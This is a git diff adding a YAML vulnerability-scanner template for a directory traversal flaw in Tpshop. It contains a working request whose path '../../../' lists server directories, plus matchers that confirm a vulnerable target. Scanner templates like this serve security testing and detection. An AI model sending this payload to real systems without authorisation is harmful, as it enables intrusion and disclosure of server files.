diff --git a/vulnerabilities/other/tpshop-directory-traversal.yaml b/vulnerabilities/other/tpshop-directory-traversal.yaml new file mode 100644 index 0000000000..a072a0cbe9 --- /dev/null +++ b/vulnerabilities/other/tpshop-directory-traversal.yaml @@ -0,0 +1,24 @@ +id: tpshop-directory-traversal + +info: + name: Tpshop Directory Traversal + author: pikpikcu + severity: high + reference: https://mp.weixin.qq.com/s/3MkN4ZuUYpP2GgPbTzrxbA + tags: tpshop,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php/Home/uploadify/fileList?type=.+&path=../../../" + + matchers-condition: and + matchers: + + - type: word + words: + - '"state":"SUCCESS"' + + - type: status + status: + - 200